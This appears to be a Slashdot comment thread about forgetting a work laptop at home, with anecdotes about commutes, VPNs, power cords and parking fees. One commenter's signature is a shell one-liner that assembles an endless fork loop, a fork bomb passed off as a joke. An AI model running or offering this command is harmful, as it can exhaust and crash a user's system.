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Doing the Laptop Drive of Shame
netbuzz writes "If you bring your work computer home with any regularity, chances are good that you've done the Laptop Drive of Shame. (Oh, c'mon, admit it.) It's happening more than ever ... and costing more than ever, too, what with the price of gas and all." I'll spoil it for you — they mean leaving your laptop at home. Yay, Monday news cycle.
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Well, during the "probationary period" I forgot it at home twice and had to do my hour commute home and my hour commute back. After that, I started leaving it at work. I think I talked about getting VPN set up so I could just log in from home rather than lugging the laptop around. Of course, I didn't last much longer at that particular job (Thank God), so it was kind of academic anyway.
I'm an absent minded guy so I figure out various tricks when I need to remember things and not lose things. However, it takes a while for me to set that kind of thing up.
"MIT betrayed all of its basic principles."
Didn't a famous violinist forget his 2 million dollar violin in a New York cab?
sed -e 's/Chuck Norris/Rajnikant/g' joke > fact
Decline the laptop, and the Blackberry, and the pager, and the company cellphone... If it's that important, call me at home and I'll drive in. It never has been, though.
My coworker (with the Blackberry) regularly gets called for trivial things. Like: Where's that log printout? Hmm? You put it on my desk, you say?
At work i'm one of the sysadmin, and so have a nice fat workstation and a few beefy "test" servers at hand.
But sometimes i bring my personal laptop to work (which, by the way, is my only machine at home that does have a display). Twice in the last two years i left it in my office after my workday. Given that i can't even watch TV without it, i have to return to work to fetch it. Luckily, it's only 2.5km between home and work and my access card is (naturally) a 24/7 one.
Nowadays, i always put my access card into my laptop bag when i took it to work. Without the card, i'm physically unable to leave the office (except in case of fire), so i'm very unlikely to leave my laptop behind...
Look, this thing is totally safe! Built it myself, you know. You just press that button like this and then turn that lev
http://www.imdb.com/title/tt0151804/quotes
Peter Gibbons: Let me ask you something. When you come in on Monday, and you're not feelin' real well, does anyone ever say to you, 'Sounds like someone has a case of the Mondays'?
Lawrence: No. No, man. Shit, no, man. I believe you'd get your ass kicked sayin' something like that, man.
I feel the same way about this
http://www.networkworld.com/community/node/29791
Here's me shouting to no one in particular the other morning: "Hey, look, Brad's gotta do the Laptop Drive of Shame." Gales of laughter ensue.
Paul McNamara, you live in a country with the Second Amendment and you work in IT where there are a lot of 'ticking time bomb' types. Maybe a little tact might be a good idea.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Remembering the notebook is easy - it is heavy. The powercord, now that's different. With notebook batteries lasting all of ten minutes on an older machine the power cord and transformer block become vital to remember. True pro's will have two of these though, one for work, one for home.
Again, this can lead to problems - visit a company, fire up the PC for a presentation and where's the power cord? One left at home, another left at work. The best solution is to have the transformer built into the notebook - as per early Toshiba's - however that makes the notebook weigh more in the reviews (where the brick is conveniently not part of the review).
We already have;
http://slashdot.org/firehose.pl
yet somehow this made it all the way across the spectrum to red, and from there to the front page. I've suspected for a long time that the Firehose was being gamed, this makes it almost certain.
"I've got more toys than Teruhisa Kitahara."
I occasionally do this on purpose, especially during the warmer months, so that I can go on a nice bike ride to retrieve the "forgotten" laptop.
Nothing shameful about it at all...
So just take a personal day and be done with it. Fabricating the "forgot laptop" story makes you look either like a forgetful idiot or a liar. Your coworkers and management can see right through it - we're not idiots you know. It's a lot easier to respect someone for taking a day when it's 75 and sunny, than that same person taking the day when it's 75 and sunny because they "forgot their laptop".
If you work for someone who doesn't like the honest approach, then get a better boss.
When even the editor says not to read the article I take heed.
We had one employee who forgot his notebook several times. Good coder, complete flake otherwise. Let's say his name is "Ben". Forgetting one's laptop became "Pulling a Ben". He's no longer with us.
I've forgotten mine once or twice but normally just far enough away that going home to get it then driving into work made far less sense than driving home and working through the VPN. We're allowed to do that on occasion. But obviously we can't be trusted to work from home and actually work. ~sigh~
I was able to get myself a docking station for home as well as for work so that I don't need to worry about forgetting accessories. They're in the bag for working at a remote location but otherwise all I need is the laptop itself.
As to where it resides when at home, it sits with my purse and my 'bag of things' that I use to carry my lunch and such. I bring it home because I'm a system admin and may need to dial in to fix a problem during off-hours. Unless that happens it just sits where I leave it. I feel no need to fire it up and work during my non-work time because the work will be there tomorrow. Same reason I don't have a Blackberry or a pager. If they really need me they can call.
Back to the topic on hand, if it really can be considered a topic. If I blank enough to forget my notebook I really shouldn't be working that day anyway. I used to have nice mindless paperwork I could do on those days but that's been given to someone else so I have to find other work I can do that won't harm anything. Documentation is generally the way I do on those days since we all know no one reads the darn stuff.
Where I work, we have the option of monthly parking passes which are simply smart cards. The daily rate otherwise is $15.
If you are a monthly parker, and forget your smart card, however, you are STILL charged the full $15 daily parking rate, even though you paid for monthly parking.
I used to think this was simple extortion, until I realized that monthly parking is handled electronically, but daily parking is handled by a human and therefore actually costs more to implement. (why I can't just swipe a debit or credit card, as I can at many downtown unattended lots, I don't know).
Still, I'd think a montlhy parker who has forgotten his smart card should be refunded a good chunk of paying the daily rate upon presentation of a daily parking receipt and his active smart card.
Of course, don't get me started on automated car washes that don't warn in advance that (a) their debit card reader is down, and (b) their cash reader only takes exact change -- I was once stuck for 15 minutes in a car wash line with people honking behind me because the stupid reader with broken debit card handling wouldn't even take a $10 bill (and keep the damn change for a $7 wash). Automatec cash readers should ALWAYS allow an option to pay more for convenience if they can't provide change. Those that give receipts could easily indicate the overpayment so subsequent refund could be arranged.
The world is populated by morons. Some design stuff.
In Liberty, Rene